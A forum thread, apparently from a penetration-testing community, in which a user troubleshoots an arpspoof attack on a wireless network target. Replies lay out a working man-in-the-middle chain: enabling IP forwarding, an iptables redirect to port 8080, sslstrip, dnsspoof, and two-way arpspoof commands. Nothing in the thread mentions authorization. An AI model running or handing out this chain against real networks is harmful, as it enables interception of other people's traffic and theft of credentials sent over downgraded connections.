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Thread: Problem with ARPSPOOF

  1. #1
    Just burned his ISO
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    Default Problem with ARPSPOOF

    Hello

    I am trying to arpspoof with the following IP adresses.

    192.168.1.5 being the router 102.168.1.101 being the target.

    command

    arpspoof -i wlan0 -t 192.168.1.101 192.168.1.5

    error "cannot arpspoof"

    Any other ip's it works fine, so is the problem that the target ip endss with .101 if it is how do i get round it, can i?

    Help appreciated.

  2. #2
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    Default Re: Problem with ARPSPOOF

    you shoulp put your card to monitor mode,

    Have you been following any guides, if not You may find HAK5.org episode 610 (man in the middle) interesting


    What is your WLAN device?
    Last edited by halfdone; 03-19-2010 at 07:47 PM.

  3. #3
    Administrator sickness's Avatar
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    Default Re: Problem with ARPSPOOF

    I do not think it has something to do with the .101 at the end of the IP, are you sure that host is up ?

  4. #4
    Just burned his ISO
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    Default Re: Problem with ARPSPOOF

    Hi

    I am using alfa AWUS036H

    Steps are
    connect to AP using wicd connection manager (wlan0)
    enable ip forward
    port redirect to 10000
    start arpspoof (same command as above)
    start sslstrip (sslstrip -a)
    Start ettercap to listen on wlan0

    Everythings works fine if arpspoofing say target of 192.168.1.2 gateway 192.168.1.1

    BUT if target is 192.168.1.101 and gateway 192.168.1.5 arpspoof errors.

  5. #5
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    Default Re: Problem with ARPSPOOF

    echo "1" > /proc/sys/net/ipv4/ip_forward

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

    sslstrip -a -l 8080
    New shell
    dnsspoof
    New shell
    arpspoof -i wlan0 -t (target) (gateway)
    New shell
    arpspoof -i wlan0 -t (gateway) (target)

    And if you want to make sure if that works you can use wireshark in that target machine, or in any computer in your network.

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